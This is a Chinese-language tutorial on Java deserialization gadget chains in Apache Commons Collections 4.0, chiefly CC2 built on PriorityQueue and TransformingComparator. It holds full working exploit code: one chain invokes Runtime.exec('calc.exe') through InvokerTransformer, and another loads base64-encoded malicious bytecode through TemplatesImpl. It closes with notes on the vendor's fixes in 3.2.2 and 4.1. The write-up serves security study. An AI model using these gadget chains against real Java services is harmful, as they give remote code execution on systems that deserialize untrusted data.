Java反序列化漏洞——CommonsCollections4.0版本—CC2、CC4

一、概述

4.0版本的CommonsCollections对之前的版本做了一定的更改，那么之前的CC链反序列化再4版本中是否可用呢。

实际上是可用的，比如CC6的链，引入的时候因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ，⽽新的包名已经变

了，是org.apache.commons.collections4 。

• 我们⽤已经熟悉的CommonsCollections6利⽤链做个例⼦，我们直接把代码拷⻉⼀遍，然后将所有import org.apache.commons.collections.*改成import org.apache.commons.collections4.*

• 并且新版本中去掉了decorat方法，替代的是lazyMap方法。

其他的代码不需要改变，即可创建出新版本下的利用链。

同理CC1、CC3的链也是一样的调整，修改后均可在commonscollections4中使用。

二、新链

1.CommonsCollections2——PriorityQueu

在CommonsCollections2中用到了两个关键的类：

• java.util.PriorityQueue

• org.apache.commons.collections4.comparators.TransformingComparator

其中java.util.PriorityQueue的readObject()方法调用了heapify()。

org.apache.commons.collections4.comparators.TransformingComparator中的compare()方法调⽤到transform() ⽅法：

所以，CommonsCollections2实际就是⼀条从PriorityQueue 到TransformingComparator 的利⽤链。

PriorityQueue#readObject()--> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> TransformingComparator#compare()

总结一下：

• java.util.PriorityQueue 是⼀个优先队列（Queue），基于⼆叉堆实现，队列中每⼀个元素有⾃⼰的优先级，节点之间按照优先级⼤⼩排序成⼀棵树

• 反序列化时为什么需要调⽤heapify() ⽅法？为了反序列化后，需要恢复（换⾔之，保证）这个结构的顺序

• 排序是靠将⼤的元素下移实现的。siftDown() 是将节点下移的函数，⽽comparator.compare() ⽤来⽐较两个元素⼤⼩

• TransformingComparator 实现了java.util.Comparator 接⼝，这个接⼝⽤于定义两个对象如何进⾏⽐较。siftDownUsingComparator() 中就使⽤这个接⼝的compare() ⽅法⽐较树的节点。

代码如下：

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class CC2 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);//创建一个TransformingComparator，传入我们创建的transformerChainComparator comparator = new TransformingComparator(transformerChain);//实例化PriorityQueue 对象，第⼀个参数是初始化时的⼤⼩，⾄少需要2个元素才会触发排序和⽐较，所以是2；第⼆个参数是⽐较时的Comparator，传⼊前⾯实例化的comparatorPriorityQueue queue = new PriorityQueue(2, comparator);//后⾯随便添加了2个数字进去，这⾥可以传⼊⾮null的任意对象，因为我们的Transformer是忽略传⼊参数的queue.add(1);queue.add(2);//最后，将真正的恶意Transformer设置上setFieldValue(transformerChain, "iTransformers", transformers);SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize("test.bin");}
}

改造无数组链：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;public class CC2_TemplatesImpl {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());//创建⼀个⼈畜⽆害的InvokerTransformer 对象，并⽤它实例化ComparatorTransformer transformer = new InvokerTransformer("toString", null, null);Comparator comparator = new TransformingComparator(transformer);//实例化PriorityQueue 对象，第⼀个参数是初始化时的⼤⼩，⾄少需要2个元素才会触发排序和⽐较，所以是2；第⼆个参数是⽐较时的Comparator，传⼊前⾯实例化的comparatorPriorityQueue queue = new PriorityQueue(2,comparator);//如何为了我们调试的时候避免发生命令执行，往里面加入两个无用的值。queue.add(1);queue.add(1);//最后，将真正的恶意Transformer设置上setFieldValue(transformer, "iMethodName", "newTransformer");//反射获取queue对象中queue的参数强转赋值给queueArray，并且修改其中的值为我们实际的TemplatesImpl对象。
//        Field queuefield = queue.getClass().getDeclaredField("queue");
//        queuefield.setAccessible(true);
//        Object[] queueArray = (Object[]) queuefield.get(queue);
//        queueArray[0] = obj;
//        queueArray[1] = 1;setFieldValue(queue, "queue", new Object[]{obj, obj});//        SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize("test.bin");}
}

三、思考

1.PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤？

• 答案不能。因为这条利⽤链中的关键类org.apache.commons.collections4.comparators.TransformingComparator ，在commonscollections4.0以前是版本中是没有实现Serializable 接⼝的，⽆法在序列化中使⽤。

2.Apache Commons Collections官⽅是如何修复反序列化漏洞的？

• Apache Commons Collections官⽅在2015年底得知序列化相关的问题后，就在两个分⽀上同时发布了新的版本，4.1和3.2.2。

• 在3.2.2中新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization ，⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true ，即默认情况下会抛出异常。

• 4.1中，这⼏个危险Transformer类不再实现Serializable 接⼝，也就是说，他们⼏个彻底⽆法序列化和反序列化了。